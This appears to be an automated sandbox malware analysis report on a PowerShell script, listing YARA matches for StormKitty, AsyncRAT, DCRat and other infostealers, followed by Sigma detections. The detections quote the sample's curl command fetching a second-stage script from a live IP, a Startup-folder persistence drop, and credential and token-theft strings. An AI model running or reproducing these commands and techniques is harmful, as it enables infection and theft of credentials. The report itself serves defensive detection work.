5.2.powershell.exe.29dec168498.8.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x2fc200:$x2: https://github.com/LimerBoy/StormKitty 0x2fc21c:$x3: StormKitty 0x27c1f4:$s2: GetAntivirus 0x29225a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28b6a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28cccd:$s6: "encrypted_key":"(.*?)"
5.2.powershell.exe.29dec168498.8.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x289ca2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x285e16:$s6: VirtualBox 0x295995:$s6: VirtualBox 0x2913b2:$s8: Win32_ComputerSystem 0x2958fb:$s8: Win32_ComputerSystem 0x28e4de:$s9: Win32_Process Where ParentProcessID= 0x28e0fb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28e198:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28e2ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x28e395:$cnc4: POST / HTTP/1.1
5.2.powershell.exe.29dec168498.8.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
5.2.powershell.exe.29dec168498.8.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
5.2.powershell.exe.29dec168498.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.powershell.exe.29dec168498.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.powershell.exe.29dec168498.8.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
5.2.powershell.exe.29dec168498.8.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
5.2.powershell.exe.29dec168498.8.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241408:$a1: havecamera 0x53ee40:$a1: havecamera 0x28c232:$a2: timeout 3 > NUL 0x589c6a:$a2: timeout 3 > NUL 0x28f5b5:$a3: START "" " 0x28faca:$a3: START "" " 0x58cfed:$a3: START "" " 0x58d502:$a3: START "" " 0x28f9a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x58d3dd:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fa42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x58d47a:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
5.2.powershell.exe.29dec168498.8.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x29292c:$str01: Processe: 0x590364:$str01: Processe: 0x2927e8:$str02: Compname: 0x590220:$str02: Compname: 0x2928e2:$str04: SandBoxie: 0x59031a:$str04: SandBoxie: 0x292878:$str08: WEBCAMS COUNT: 0x5902b0:$str08: WEBCAMS COUNT: 0x29289c:$str09: [Virtualization] 0x5902d4:$str09: [Virtualization] 0x2930ea:$str10: [Open google maps]( 0x590b22:$str10: [Open google maps]( 0x294b61:$str11: Remember password: 0x592599:$str11: Remember password: 0x287c54:$str12: Target.Browsers.Firefox 0x58568c:$str12: Target.Browsers.Firefox 0x26f3cf:$str13: Modules.Keylogger 0x56ce07:$str13: Modules.Keylogger 0x277292:$str14: ClipperAddresses 0x574cca:$str14: ClipperAddresses 0x279437:$str15: ChromiumPswPaths
5.2.powershell.exe.29dec168498.8.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x5db:$sk01: LimerBoy/StormKitty 0x2fe013:$sk01: LimerBoy/StormKitty 0x252952:$str01: set_sUsername 0x55038a:$str01: set_sUsername 0x25fe84:$str03: set_sExpMonth 0x55d8bc:$str03: set_sExpMonth 0x27523f:$str04: WritePasswords 0x572c77:$str04: WritePasswords 0x275cf9:$str05: WriteCookies 0x573731:$str05: WriteCookies 0x279448:$str06: sChromiumPswPaths 0x576e80:$str06: sChromiumPswPaths 0x279423:$str07: sGeckoBrowserPaths 0x576e5b:$str07: sGeckoBrowserPaths 0x28eacf:$str10: encrypted_key":"(.?)" 0x58c507:$str10: encrypted_key":"(.?)"
5.2.powershell.exe.29dec168498.8.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28fa42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x58d47a:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x28bb12:$str04: Pac_ket 0x58954a:$str04: Pac_ket 0x29b858:$str05: Perfor_mance 0x599290:$str05: Perfor_mance 0x29b89c:$str06: Install_ed 0x5992d4:$str06: Install_ed 0x245f05:$str07: get_IsConnected 0x54393d:$str07: get_IsConnected 0x25c3ca:$str08: get_ActivatePo_ng 0x559e02:$str08: get_ActivatePo_ng 0x270305:$str09: isVM_by_wim_temper 0x56dd3d:$str09: isVM_by_wim_temper 0x29c14a:$str10: save_Plugin 0x599b82:$str10: save_Plugin 0x28c232:$str11: timeout 3 > NUL 0x589c6a:$str11: timeout 3 > NUL 0x29b438:$str12: ProcessHacker.exe 0x598e70:$str12: ProcessHacker.exe 0x29b62a:$str13: Select * from Win32_CacheMemory
5.2.powershell.exe.29dec168498.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28fa42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x58d47a:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28f9a5:$s2: L2Mgc2NodGFza3MgL2 0x58d3dd:$s2: L2Mgc2NodGFza3MgL2
5.2.powershell.exe.29dec168498.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29b62a:$q1: Select * from Win32_CacheMemory 0x599062:$q1: Select * from Win32_CacheMemory 0x29b66a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x5990a2:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x29b6b8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x5990f0:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x29b706:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x59913e:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
5.2.powershell.exe.29dec168498.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293806:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x59123e:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
5.2.powershell.exe.29dec168498.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2991a1:$s1: \VPN\NordVPN 0x596bd9:$s1: \VPN\NordVPN 0x299187:$s2: \VPN\OpenVPN 0x596bbf:$s2: \VPN\OpenVPN 0x299169:$s3: \VPN\ProtonVPN 0x596ba1:$s3: \VPN\ProtonVPN
5.2.powershell.exe.29dec168498.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28deeb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x58b923:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28df5d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x58b995:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28dfe7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x58ba1f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28e079:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x58bab1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28e0e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x58bb1b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28e155:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x58bb8d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28e1eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x58bc23:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28e27b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x58bcb3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.powershell.exe.29dec168498.8.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x2fe000:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x2fe01c:$x3: StormKitty 0x27dff4:$s2: GetAntivirus 0x57ba2c:$s2: GetAntivirus 0x29405a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x591a92:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28d4a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x58aedd:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28eacd:$s6: "encrypted_key":"(.?)" 0x58c505:$s6: "encrypted_key":"(.?)"
5.2.powershell.exe.29dec168498.8.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28baa2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x5894da:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287c16:$s6: VirtualBox 0x297795:$s6: VirtualBox 0x58564e:$s6: VirtualBox 0x5951cd:$s6: VirtualBox 0x2931b2:$s8: Win32_ComputerSystem 0x2976fb:$s8: Win32_ComputerSystem 0x590bea:$s8: Win32_ComputerSystem 0x595133:$s8: Win32_ComputerSystem 0x2902de:$s9: Win32_Process Where ParentProcessID= 0x58dd16:$s9: Win32_Process Where ParentProcessID= 0x28fefb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x58d933:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28ff98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x58d9d0:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2900ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x58dae5:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290195:$cnc4: POST / HTTP/1.1 0x58dbcd:$cnc4: POST / HTTP/1.1
5.2.powershell.exe.29dec28c222.9.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
5.2.powershell.exe.29dec28c222.9.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
5.2.powershell.exe.29dec28c222.9.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.powershell.exe.29dec28c222.9.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.powershell.exe.29dec28c222.9.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
5.2.powershell.exe.29dec28c222.9.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
5.2.powershell.exe.29dec28c222.9.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x41b0b6:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x465ee0:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x469263:$a3: START "" " 0x469778:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x469653:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x4696f0:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
5.2.powershell.exe.29dec28c222.9.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x46c5da:$str01: Processe: 0x16ea5e:$str02: Compname: 0x46c496:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x46c590:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x46c526:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x46c54a:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x46cd98:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x46e80f:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x461902:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x44907d:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x450f40:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths
5.2.powershell.exe.29dec28c222.9.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x1da289:$sk01: LimerBoy/StormKitty 0x12ebc8:$str01: set_sUsername 0x42c600:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x439b32:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x44eeed:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x44f9a7:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x4530f6:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x4530d1:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.?)" 0x46877d:$str10: encrypted_key":"(.?)"
5.2.powershell.exe.29dec28c222.9.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x4696f0:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x4657c0:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x475506:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x47554a:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x41fbb3:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x436078:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x449fb3:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x475df8:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x465ee0:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x4750e6:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
5.2.powershell.exe.29dec28c222.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x4696f0:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2 0x469653:$s2: L2Mgc2NodGFza3MgL2
5.2.powershell.exe.29dec28c222.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x4752d8:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x475318:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x475366:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x4753b4:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
5.2.powershell.exe.29dec28c222.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x46d4b4:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
5.2.powershell.exe.29dec28c222.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x472e4f:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x472e35:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN 0x472e17:$s3: \VPN\ProtonVPN
5.2.powershell.exe.29dec28c222.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x467b99:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x467c0b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x467c95:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x467d27:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x467d91:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x467e03:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x467e99:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x467f29:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.powershell.exe.29dec28c222.9.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x1da276:$x2: https://github.com/LimerBoy/StormKitty 0x1da292:$x3: StormKitty 0x15a26a:$s2: GetAntivirus 0x457ca2:$s2: GetAntivirus 0x1702d0:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x46dd08:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x16971b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x467153:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x16ad43:$s6: "encrypted_key":"(.?)" 0x46877b:$s6: "encrypted_key":"(.?)"
5.2.powershell.exe.29dec28c222.9.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x465750:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x4618c4:$s6: VirtualBox 0x471443:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x46ce60:$s8: Win32_ComputerSystem 0x4713a9:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x469f8c:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x469ba9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x469c46:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x469d5b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1 0x469e43:$cnc4: POST / HTTP/1.1
Click to see the 115 entries

Other

Source	Rule	Description	Author	Strings
amsi64_4980.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security
amsi64_4016.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4980, TargetFilename: C:\Windows\Temp\Pack.bat

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\sfqbr.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\sfqbr.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\sfqbr.ps1", ProcessId: 4980, ProcessName: powershell.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4016, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.cmdline", ProcessId: 4340, ProcessName: csc.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4980, TargetFilename: C:\Windows\Temp\Pack.bat

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1 , CommandLine: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1 , CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Pack.bat" , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5748, ParentProcessName: cmd.exe, ProcessCommandLine: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1 , ProcessId: 6260, ProcessName: cmd.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4016, TargetFilename: C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\sfqbr.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\sfqbr.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\sfqbr.ps1", ProcessId: 4980, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4980, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\App.url

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

